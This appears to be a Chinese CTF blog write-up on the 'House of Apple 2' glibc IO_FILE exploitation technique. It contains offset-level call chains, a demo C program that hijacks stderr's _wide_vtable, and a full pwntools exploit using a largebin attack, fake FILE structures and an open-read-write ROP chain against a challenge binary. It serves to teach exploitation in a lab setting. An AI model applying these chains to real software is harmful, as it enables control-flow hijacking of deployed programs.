House of apple2

上一篇博客中我们使用的house of apple1,需要和house of emma一起使用从而控制程序流,这一篇我们利用几条新的IO利用链,只通过劫持_wide_data来控制程序的执行流

利用条件

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_wide_data,一般使用largebin attack去控制

利用原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

在调用_wide_vtable虚表里面的函数时,与_IO_file_jumps同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:

1
2
3
4
5
6
7
8
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查。

因此,我们可以劫持IO_FILEvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。

以下面提到的_IO_wdefault_xsgetn函数利用为例,roderick01编写了一个demo示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void backdoor()
{
printf("\033[31m[!] Backdoor is called!\n");
_exit(0);
}

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);

char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");

size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x84420;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);

size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);

size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags to 0x800");
*(size_t *)stderr2 = 0x800;

puts("[+] step 2: change stderr->_mode to 1");
*(size_t *)(stderr2 + 0xc0) = 1;

puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
*(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;

puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;

puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;

puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base");
*(size_t *)(p1 + 0x20) = (size_t)1;

puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
*(size_t *)(p2 + 0x18) = (size_t)(&backdoor);

puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
fflush(stderr);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
./house_of_apple/demo2/demo
[*] allocate two 0x200 chunks
[*] puts address: 0x7ffff7c80e50
[*] libc base address: 0x7ffff7c00000
[*] _IO_2_1_stderr_ address: 0x7ffff7e1b6a0
[*] _IO_wstrn_jumps address: 0x7ffff7e16dc0
[+] step 1: change stderr->_flags to 0x800
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr = stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!

成功调用了后门函数

利用思路

目前在glibc源码中搜索到的_IO_WXXXXX系列函数的调用只有_IO_WSETBUF_IO_WUNDERFLOW_IO_WDOALLOCATE_IO_WOVERFLOW
其中_IO_WSETBUF_IO_WUNDERFLOW目前无法利用或利用困难,其余的均可构造合适的_IO_FILE进行利用。这里给出我总结的几条比较好利用的链。以下使用fp指代_IO_FILE结构体变量。

利用_IO_wfile_overflow函数控制程序执行流

fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数的调用链如下:

1
2
3
4
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析省略,总之需要满足

f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0和f->_wide_data->_IO_write_base == 0

fp->_wide_data->_IO_buf_base != 0和fp->_flags & _IO_UNBUFFERED == 0

也就是_flags设置为~(2 | 0x8 | 0x800)或者" sh;"

利用_IO_wfile_underflow_mmap函数控制程序执行流

fp的设置如下:

  • _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有个空格
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数的调用链如下

1
2
3
4
_IO_wfile_underflow_mmap
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

详细分析省略:

需要设置fp->_flags & _IO_NO_READS == 0,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end,设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用,设置fp->_wide_data->_IO_buf_base == NULLfp->_wide_data->_IO_save_base == NULL

利用_IO_wdefault_xsgetn函数控制程序执行流

这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0。如果不满足这个条件,可选用其他链。

fp的设置如下:

  • _flags设置为0x800
  • vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可
  • _mode设置为大于0,即满足*(fp + 0xc0) > 0
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C
1
2
3
4
5
_IO_wdefault_xsgetn
__wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)

源码分析略

例题分析

这里我是复现了一遍作者的puts(“ hack!”)的,但是电脑关机没有保存下来,这里就直接放orw的exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
from pwn import *
from pwncli import *

io = process("./oneday")
context(os="linux", arch="amd64", log_level="debug")
elf = ELF('./oneday')
libc = ELF('/home/yukon/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
lg_infos = []
lga = lambda data: lg_infos.append(data)
s = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
sa = lambda text, data: io.sendafter(text, data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda n: io.recv(n)
ru = lambda text: io.recvuntil(text)
rl = lambda: io.recvline()
uu32 = lambda: u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda: u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda: int(io.recv(10), 16)
iuu64 = lambda: int(io.recv(6), 16)
uheap = lambda: u64(io.recv(6).ljust(8, b'\x00'))
lg = lambda data: io.success('%s -> 0x%x' % (data, eval(str(data))))

def log_all():
for lg_info in lg_infos:
lg(lg_info)


def ia():
log_all()
io.interactive()


def add(choice):
io.recvuntil(b'enter your command: \n')
io.sendline(b'1')
io.recvuntil(b'choise: ')
io.sendline(str(choice).encode())


def delete(idx):
io.recvuntil(b'enter your command: \n')
io.sendline(b'2')
io.recvuntil(b'Index: \n')
io.sendline(str(idx).encode())


def edit(idx, message):
io.recvuntil(b'enter your command: \n')
io.sendline(b'3')
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())
io.recvuntil(b'Message: \n')
io.send(message)


def show(idx):
io.recvuntil(b'enter your command: \n')
io.sendline(b'4')
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())


def exit():
io.recvuntil(b'enter your command: \n')
io.sendline(b'9')


sla(b'enter your key >>\n', str(10).encode())
add(2) # 0
add(2) # 1
add(1) # 2
delete(2)
delete(1)
delete(0)

add(1) # 3
add(1) # 4
add(1) # 5
add(1) # 6
delete(3)
delete(5)
show(3)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0 - 0x28020
lga("libc_base")
io.recv(2)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x17f0
lga("heap_base")
delete(4)
delete(6)
add(3) # 7
add(1) # 8
add(1) # 9
delete(8)
add(3) # 10

target_addr = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_IO_wstrn_jumps = libc_base + 0x216dc0 # + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x216b80 # + 0x1f3ae0
_lock = libc_base + 0x21ca60 # 0x1f5720
set_context_61 = libc_base + libc.sym["setcontext"] + 61

lga("_IO_wfile_jumps")
lga("_IO_wstrn_jumps")
lga("_IO_cookie_jumps")
lga("_lock")

pop_rdi = libc_base +0x000000000002a3e5
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
pop_rax = libc_base + 0x0000000000045eb0
pop_rsi = libc_base + 0x000000000002be51
ret = libc_base + 0x0000000000029139
leave_ret = libc_base + 0x000000000004da83
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

fake_IO_FILE = heap_base + 0x1810
orw_addr = fake_IO_FILE + 0x300 + 0x10
lga("fake_IO_FILE")
lga("orw_addr")
lga("set_context_61")

# open('./flag.txt', 0)
# read(3, bss + 0x200, 0x20)
# write(1, bss + 0x200, 0x20)
orw = [ret, pop_rdi, fake_IO_FILE + 0x300, pop_rsi, 0, open_addr,
pop_rdi, 3, pop_rsi, fake_IO_FILE + 0x400, pop_rdx_r12_ret, 0x20, 0, read_addr,
pop_rdi, 1, pop_rsi, fake_IO_FILE + 0x400, write_addr]

f1 = IO_FILE_plus_struct()
f1.flags = b' hack!'
f1._IO_read_ptr = 0xa81
f1._IO_buf_base = p64(fake_IO_FILE + 0x310)
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
# fake_wide_data
0xe0: { # _wide_data->_wide_vtable
0x18: 0, # f->_wide_data->_IO_write_base
0x30: 0, # f->_wide_data->_IO_buf_base
0xa0: orw_addr, # rdx+0xa0
0xa8: ret, # rdx+0xa8
0xe0: fake_IO_FILE + 0x200, # f->_wide_data->_wide_vtable
},
# fake_wide_vtable
0x200: {
0x68: set_context_61 # *(fp->_wide_data->_wide_vtable + 0x68) backdoor
},
0x300: {
0: b'/flag\x00\x00\x00',
0x10: orw
}
},
0xa80: [0, 0xab1]
}
})

edit(5, data)
# log_all()
# gdb.attach(io, "tele $rebase(0x202040) 0x20")
delete(2)
add(3)
exit()

ia()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
sla(b'enter your key >>\n', str(10).encode())
add(2) # 0
add(2) # 1
add(1) # 2
delete(2)
delete(1)
delete(0)

add(1) # 3
add(1) # 4
add(1) # 5
add(1) # 6
delete(3)
delete(5)
show(3)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0 - 0x28020
lga("libc_base")
io.recv(2)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x17f0
lga("heap_base")
delete(4)
delete(6)
add(3) # 7
add(1) # 8
add(1) # 9
delete(8)
add(3) # 10

这一部分还是跟apple1相同,构造一个largebin出来

然后结尾的时候通过delete比这个largebin还大的堆,在io_list_all处写入chunk2的地址从而伪造io_file

1
2
3
4
edit(5, data)
delete(2)
add(3)
exit()

我们主要看中间这部分是怎么构造的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# open('./flag.txt', 0)
# read(3, bss + 0x200, 0x20)
# write(1, bss + 0x200, 0x20)
orw = [ret, pop_rdi, fake_IO_FILE + 0x300, pop_rsi, 0, open_addr,
pop_rdi, 3, pop_rsi, fake_IO_FILE + 0x400, pop_rdx_r12_ret, 0x20, 0, read_addr,
pop_rdi, 1, pop_rsi, fake_IO_FILE + 0x400, write_addr]

f1 = IO_FILE_plus_struct()
f1.flags = b' hack!'
f1._IO_read_ptr = 0xa81
f1._IO_buf_base = p64(fake_IO_FILE + 0x310)
f1._lock = _lock
f1._wide_data = fake_IO_FILE + 0xe0
f1.vtable = _IO_wfile_jumps

data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
# fake_wide_data
0xe0: { # _wide_data->_wide_vtable
0x18: 0, # f->_wide_data->_IO_write_base
0x30: 0, # f->_wide_data->_IO_buf_base
0xa0: orw_addr, # rdx+0xa0
0xa8: ret, # rdx+0xa8
0xe0: fake_IO_FILE + 0x200, # f->_wide_data->_wide_vtable
},
# fake_wide_vtable
0x200: {
0x68: set_context_61 # *(fp->_wide_data->_wide_vtable + 0x68) backdoor
},
0x300: {
0: b'/flag\x00\x00\x00',
0x10: orw
}
},
0xa80: [0, 0xab1]
}
})

在使用作者给出的附件中的ld和libc的过程中,我发现rdx指向的是f1的开头部分,也就是f1.flags,只要设置成b’ hack!’,再将fp->_wide_data->_wide_vtable + 0x68设置为puts,就能直接打印出hack!

但是,这会造成一个问题,如果我们能打system(‘ sh;’),那无疑是非常简单,但是如果我们需要绕过沙箱,执行orw,这里就不是很好控制rdx跟rdi,因为rdx+0xa0的位置刚好是fake_io_file的_wide_data,是我们需要控制的地方,这里不能改

而使用一些magic_gadget也会出现问题,因为我动调发现此时rdi因为执行过一个mov edi, qword ptr[rdx]这样的操作,高位变成了0,并且低位存放的是b’ hack!’的低位,这样常用的如mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]gadget就完全利用不了

我看到KingKi1L3r在这篇文章中提到可以使用svcudp_reply+26这个gadget,确实,在本题中是可以使用的,但是2.35以后这条gadget已经被删除,我不禁产生疑惑,难道apple2不能打2.35的orw?

最后在我跟wxy师傅讨论的过程中,我们发现我们的rdx指向的位置不同,于是我将附件patch成我本机的2.35-0ubuntu3.8,然后我发现rdx指向了fake_wide_data,那rdx+0xa0和rdx+0xa8就完全可以控制了,测试了一下果然可以打通